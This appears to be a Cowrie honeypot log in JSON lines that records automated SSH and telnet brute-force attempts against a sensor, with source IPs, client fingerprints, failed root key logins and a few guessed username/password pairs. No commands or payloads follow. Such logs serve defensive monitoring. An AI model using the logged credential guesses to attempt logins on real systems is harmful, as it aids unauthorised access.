{"eventid":"cowrie.session.connect","src_ip":"208.87.242.183","src_port":58616,"dst_ip":"10.17.0.5","dst_port":22,"session":"c14ed01b4414","protocol":"ssh","message":"New connection: 208.87.242.183:58616 (10.17.0.5:22) [session: c14ed01b4414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:17.494235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:17.498861Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:17.571143Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:ee:e7:3a:5d:7d:90:a4:4a:93:f8:6c:02:6b:ce:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+aNj5SvpP8X2xK7s2ZZg+fY2GvQHvLG23C1c/Dl32Ps5l95O7wZpKFLpUp9D7RP+uhj0WgJ/cP1XvsRzjB7C3c0TEFVdtwFBHZ5aBEbZjnmBaCcV6pmSSjYBpvOF8rHBoQzwDQr+cUKlquM9vugbg3RQ/JfNIEDnPUMPV9pUyQxtOyIFQA0B7ccjR3cqbdLTNvabZ8RC20O9hvlLek7nZsS5WTE9kp+L3Ql1sBKPYeYPpW1eg9UGGl0haJzradRtHIOrrvlCldSAvNpelALj4cg/zwbWUFK/9xWuyB5QGuBiUGgpUgf5aeRy4tEl/nH78vU9NCE7l8dMlFtCdjHIx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:ee:e7:3a:5d:7d:90:a4:4a:93:f8:6c:02:6b:ce:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:17.895203Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:ee:e7:3a:5d:7d:90:a4:4a:93:f8:6c:02:6b:ce:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+aNj5SvpP8X2xK7s2ZZg+fY2GvQHvLG23C1c/Dl32Ps5l95O7wZpKFLpUp9D7RP+uhj0WgJ/cP1XvsRzjB7C3c0TEFVdtwFBHZ5aBEbZjnmBaCcV6pmSSjYBpvOF8rHBoQzwDQr+cUKlquM9vugbg3RQ/JfNIEDnPUMPV9pUyQxtOyIFQA0B7ccjR3cqbdLTNvabZ8RC20O9hvlLek7nZsS5WTE9kp+L3Ql1sBKPYeYPpW1eg9UGGl0haJzradRtHIOrrvlCldSAvNpelALj4cg/zwbWUFK/9xWuyB5QGuBiUGgpUgf5aeRy4tEl/nH78vU9NCE7l8dMlFtCdjHIx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:17.898364Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:34:d3:e4:c3:4c:ba:b9:e9:19:4d:28:01:a0:63:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz//edoIA5TNgkbdI/wt+qdLk8Pun7Vs0br4/5IPDABTXrPv/O+sRoiDOx7pZRnywl8SsqFd7+9bZutQOWDIMOpvTggB31SsQ49PPIriNeMcI5etZqgNvqd4tXNeBza98uAfYORnxLP44l2Oow6G+1QwLCQX6/9QxKHeUFxpXeRzl9GJRn+rTUEEwbikFslbDgOKP4BsRNRdfLLbh5ziPASCriU8E4RNreoojj6WJtSNiwLGGxbAcrSfMMEspe5cyiPuUc83APd1HP2NjwXEZEL1Ch6t5+Nz9yEDx9FGW/3JnTXwNJ/mVTPElxYU050ml52GLyIqJhKjxQZnIyVnU7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:34:d3:e4:c3:4c:ba:b9:e9:19:4d:28:01:a0:63:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:17.966798Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:34:d3:e4:c3:4c:ba:b9:e9:19:4d:28:01:a0:63:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz//edoIA5TNgkbdI/wt+qdLk8Pun7Vs0br4/5IPDABTXrPv/O+sRoiDOx7pZRnywl8SsqFd7+9bZutQOWDIMOpvTggB31SsQ49PPIriNeMcI5etZqgNvqd4tXNeBza98uAfYORnxLP44l2Oow6G+1QwLCQX6/9QxKHeUFxpXeRzl9GJRn+rTUEEwbikFslbDgOKP4BsRNRdfLLbh5ziPASCriU8E4RNreoojj6WJtSNiwLGGxbAcrSfMMEspe5cyiPuUc83APd1HP2NjwXEZEL1Ch6t5+Nz9yEDx9FGW/3JnTXwNJ/mVTPElxYU050ml52GLyIqJhKjxQZnIyVnU7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:17.969714Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:43:ff:a8:c7:ba:f5:3e:eb:0e:49:7e:da:14:aa:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuLY0CAoc0lYCZCdQuT7XSZmMCF+tk3DuYTV5gfaaBkOzgFHBXt2n801dm4tu4bT7PIYOktfybfYfkN3KP14OfEn4ssqBHhhXMOM9RwHe2AXN8TCINhic8CQOab/lY4ELFEWnr4MfmM2h+sVwiRt1eVCuv98/eCaA2zaeDLLKqKutjeHm8NfB1tmZCan2NJdy5JyfjoCrhBmXXFup0z1lvwzKK536P7fOprmDIkL5EK7ZbQu7+1yFBQK3+nQZSUFRVpS2BUouvNmtdCQmxVWe81BH/agfwWi2BGtgXrM4gLsCXdT6IVmeKanS/3kH63bkMmwyXlv2Ri4zVfXeIekZM1Jw39qvHw/G6/52PFvPp9XFauwiw+QbnncoS4Qv5p7zwrBNfX/CbN/v12cfGZcVr76ukyA4fEQBtui1CUHu1lHN+TTyoQSAfbg6+DYUyIV/p4RfIiDh7D+1QAPDqJGgn6L1TLtu0q8vJrvDb+IEreMbghSkg+rpK8NPO7YEYZz4uy4uAgZSTPXK80pkW0TnuspVf/F6zuVnlKwy7nYEgXM0IuzVSFRzlBeEk+xArtsiwBy11QcUstTbloXEovetI1/oD0fAIml8m5Z2G7Dblt+0W7bvqbynBVS3yHroobMZwwJT8hBAqxokvXGMnvP3l22UJ61fvrjQrfxdoen4p7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:43:ff:a8:c7:ba:f5:3e:eb:0e:49:7e:da:14:aa:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:18.039336Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:43:ff:a8:c7:ba:f5:3e:eb:0e:49:7e:da:14:aa:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuLY0CAoc0lYCZCdQuT7XSZmMCF+tk3DuYTV5gfaaBkOzgFHBXt2n801dm4tu4bT7PIYOktfybfYfkN3KP14OfEn4ssqBHhhXMOM9RwHe2AXN8TCINhic8CQOab/lY4ELFEWnr4MfmM2h+sVwiRt1eVCuv98/eCaA2zaeDLLKqKutjeHm8NfB1tmZCan2NJdy5JyfjoCrhBmXXFup0z1lvwzKK536P7fOprmDIkL5EK7ZbQu7+1yFBQK3+nQZSUFRVpS2BUouvNmtdCQmxVWe81BH/agfwWi2BGtgXrM4gLsCXdT6IVmeKanS/3kH63bkMmwyXlv2Ri4zVfXeIekZM1Jw39qvHw/G6/52PFvPp9XFauwiw+QbnncoS4Qv5p7zwrBNfX/CbN/v12cfGZcVr76ukyA4fEQBtui1CUHu1lHN+TTyoQSAfbg6+DYUyIV/p4RfIiDh7D+1QAPDqJGgn6L1TLtu0q8vJrvDb+IEreMbghSkg+rpK8NPO7YEYZz4uy4uAgZSTPXK80pkW0TnuspVf/F6zuVnlKwy7nYEgXM0IuzVSFRzlBeEk+xArtsiwBy11QcUstTbloXEovetI1/oD0fAIml8m5Z2G7Dblt+0W7bvqbynBVS3yHroobMZwwJT8hBAqxokvXGMnvP3l22UJ61fvrjQrfxdoen4p7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:18.043048Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:ef:ae:f7:ef:5b:b9:42:6d:5f:5f:3b:51:9f:1b:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrCEd3dABX25mNn+EzGU3Q3ylLXjZFanHGYOo5E+RVpMnYax609QSs0bkUfZliRyVMogUp5Dj/UdX7cNuDoB6Nje3ARJGBOgcXAWBZjxXViESE93eKlFX9bqfzaVp7J2MpPEhF9zMP64EvpbkLbCNfTL4HcxCSper7q1X24KeEncPZoqcBMxItk2K+UKlnpxoquIMNrDpUFU0mwMnLSruQTySgFPs+11vRAUwX56imuY2WE1NBHbsmgzc682YQpkiosMog4AZfGe9Zvfy5aKzp9AphAko/f8jvHw3ExcqN1OVXbNNtBggLZeSIJa9QHbwDZios0qNfRxvzJjEMGJTL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:ef:ae:f7:ef:5b:b9:42:6d:5f:5f:3b:51:9f:1b:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:18.112417Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:ef:ae:f7:ef:5b:b9:42:6d:5f:5f:3b:51:9f:1b:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrCEd3dABX25mNn+EzGU3Q3ylLXjZFanHGYOo5E+RVpMnYax609QSs0bkUfZliRyVMogUp5Dj/UdX7cNuDoB6Nje3ARJGBOgcXAWBZjxXViESE93eKlFX9bqfzaVp7J2MpPEhF9zMP64EvpbkLbCNfTL4HcxCSper7q1X24KeEncPZoqcBMxItk2K+UKlnpxoquIMNrDpUFU0mwMnLSruQTySgFPs+11vRAUwX56imuY2WE1NBHbsmgzc682YQpkiosMog4AZfGe9Zvfy5aKzp9AphAko/f8jvHw3ExcqN1OVXbNNtBggLZeSIJa9QHbwDZios0qNfRxvzJjEMGJTL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:18.118151Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:6d:21:7c:ca:ae:9d:a0:8d:45:bf:65:21:89:ea:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2j6eJgqRJgp0rvRni+fPlc+285monFGLgE6ySYWqdvztIYxmww2QiXki1gZ0S8fNfsH5unT1uDF7oT5bMb1SaGoM30rQeNIOkRnjtzfZQA+v4n915jIElCXw++Q8D1u6IbOAQOkAostCI2BcFNFLPeS9I4D2TilS0AVjsPNLLHGMdV2RZ663ZqxoniGpwOhbg9GEEk46P146OBmG0HOTmeGpDQecmrnDiRsA2+CENazeO3pBQhRj3h04k6Cz/CQNc4ey3iIjDn6dUY6Ek1OVHEs7BfD4DkAAovM+pT+XlC2a5EEyhLT1I0joACy+JMzQn5zNwfcNYNazShi+BC0BN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:6d:21:7c:ca:ae:9d:a0:8d:45:bf:65:21:89:ea:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:18.186531Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:6d:21:7c:ca:ae:9d:a0:8d:45:bf:65:21:89:ea:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2j6eJgqRJgp0rvRni+fPlc+285monFGLgE6ySYWqdvztIYxmww2QiXki1gZ0S8fNfsH5unT1uDF7oT5bMb1SaGoM30rQeNIOkRnjtzfZQA+v4n915jIElCXw++Q8D1u6IbOAQOkAostCI2BcFNFLPeS9I4D2TilS0AVjsPNLLHGMdV2RZ663ZqxoniGpwOhbg9GEEk46P146OBmG0HOTmeGpDQecmrnDiRsA2+CENazeO3pBQhRj3h04k6Cz/CQNc4ey3iIjDn6dUY6Ek1OVHEs7BfD4DkAAovM+pT+XlC2a5EEyhLT1I0joACy+JMzQn5zNwfcNYNazShi+BC0BN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:18.190229Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:18.259076Z","src_ip":"208.87.242.183","session":"c14ed01b4414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":42284,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c2ffb8c4b3f","protocol":"telnet","message":"New connection: 68.178.168.57:42284 (10.17.0.5:23) [session: 5c2ffb8c4b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:19.748225Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35472,"dst_ip":"159.203.135.109","dst_port":23,"session":"cab3d3cf770e","protocol":"telnet","message":"New connection: 69.6.249.0:35472 (159.203.135.109:23) [session: cab3d3cf770e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:20.230491Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":44660,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1c07d34b65","protocol":"ssh","message":"New connection: 163.7.6.74:44660 (159.203.135.109:22) [session: 2a1c07d34b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:26.752055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:26.756575Z","src_ip":"163.7.6.74","session":"2a1c07d34b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:27.012990Z","src_ip":"163.7.6.74","session":"2a1c07d34b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"dev12345678","message":"login attempt [ubuntu/dev12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:28.072696Z","src_ip":"163.7.6.74","session":"2a1c07d34b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:29.334066Z","src_ip":"163.7.6.74","session":"2a1c07d34b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.311994791030884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:51.060062Z","src_ip":"68.178.168.57","session":"5c2ffb8c4b3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.653236627578735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:51.883600Z","src_ip":"69.6.249.0","session":"cab3d3cf770e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47252,"dst_ip":"159.203.135.109","dst_port":23,"session":"4055c17dcaa8","protocol":"telnet","message":"New connection: 69.6.249.0:47252 (159.203.135.109:23) [session: 4055c17dcaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:56.135418Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47258,"dst_ip":"159.203.135.109","dst_port":23,"session":"fae86b311783","protocol":"telnet","message":"New connection: 69.6.249.0:47258 (159.203.135.109:23) [session: fae86b311783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:47:57.911894Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":40364,"dst_ip":"10.17.0.5","dst_port":23,"session":"df56d9e6064b","protocol":"telnet","message":"New connection: 68.178.168.57:40364 (10.17.0.5:23) [session: df56d9e6064b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:24.289263Z"}
{"eventid":"cowrie.session.closed","duration":32.638611793518066,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:28.773918Z","src_ip":"69.6.249.0","session":"4055c17dcaa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00083041191101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:28.912583Z","src_ip":"69.6.249.0","session":"fae86b311783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":54682,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c96dadf5757","protocol":"ssh","message":"New connection: 163.7.6.74:54682 (159.203.135.109:22) [session: 7c96dadf5757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:32.354759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:32.359494Z","src_ip":"163.7.6.74","session":"7c96dadf5757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:32.614762Z","src_ip":"163.7.6.74","session":"7c96dadf5757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123123","message":"login attempt [tester/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:33.669108Z","src_ip":"163.7.6.74","session":"7c96dadf5757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:34.927389Z","src_ip":"163.7.6.74","session":"7c96dadf5757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":59744,"dst_ip":"10.17.0.5","dst_port":23,"session":"67c90fd1f3f4","protocol":"telnet","message":"New connection: 208.92.193.123:59744 (10.17.0.5:23) [session: 67c90fd1f3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:53.869779Z"}
{"eventid":"cowrie.session.closed","duration":30.848811388015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:48:55.137961Z","src_ip":"68.178.168.57","session":"df56d9e6064b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02669405937195,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:25.896364Z","src_ip":"208.92.193.123","session":"67c90fd1f3f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":58332,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdc4ee8ca2cf","protocol":"ssh","message":"New connection: 163.7.6.74:58332 (159.203.135.109:22) [session: fdc4ee8ca2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:34.206509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:34.210604Z","src_ip":"163.7.6.74","session":"fdc4ee8ca2cf","protocol":"ssh"}
